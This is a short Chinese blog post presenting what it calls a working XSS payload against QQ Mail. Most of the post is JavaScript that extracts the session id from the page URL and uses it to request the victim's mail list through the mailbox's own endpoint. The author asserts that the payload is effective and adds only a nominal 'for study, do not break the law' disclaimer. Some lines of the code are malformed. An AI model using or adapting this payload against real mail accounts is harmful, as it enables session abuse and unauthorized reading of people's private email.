QQ邮箱有效的XSS payload

最新推荐文章于 2024-05-30 20:36:06 发布

我是一个罪人

最新推荐文章于 2024-05-30 20:36:06 发布

阅读量1.3k

点赞数 1

分类专栏：渗透 XSS 文章标签：渗透 XSS QQ邮箱 Paylaod

本文链接：https://blog.csdn.net/qq_38224315/article/details/90409577

版权

渗透同时被 2 个专栏收录

2 篇文章 0 订阅

订阅专栏

XSS

2 篇文章 0 订阅

订阅专栏

QQ邮箱XSS注入攻击有效payload

1 network中看到请求，经过分析后找到实际请求

遂将所有参数修改，并截取有效sid

	var sid="";
    if(top.window.location.href.indexOf("sid")>0){
         var href=top.window.location.href;

	 sid=href.substring(href.indexOf("sid")+4,href.indexOf("&"));
}
console.log("sid="+sid)
var  floder_url="https://"+top.window.location.host+"
/cgi-bin/mail_list?sid="+sid+"&page=0&sortasc=0&sorttype=7";

var ajax=null;
if(window.XMLHttpRequest){
    ajax=new XMLHttpRequest();
}else if (window.ActiveXObject){
	ajax=new ActiveXObject("Microsoft")
}
console.log("ajax="+ajax);
ajax.open("GET",floder_url,true)
ajax.send(null);
console.log(ajax);
if(ajax.readyState==4&&ajax.status==200){
	console.log("ajax="+ajax.responseText);
}

最终响应为 payload响应
该文档Payload有效
ps:该文档仅供学习切勿犯法，如需转载，需注明出处。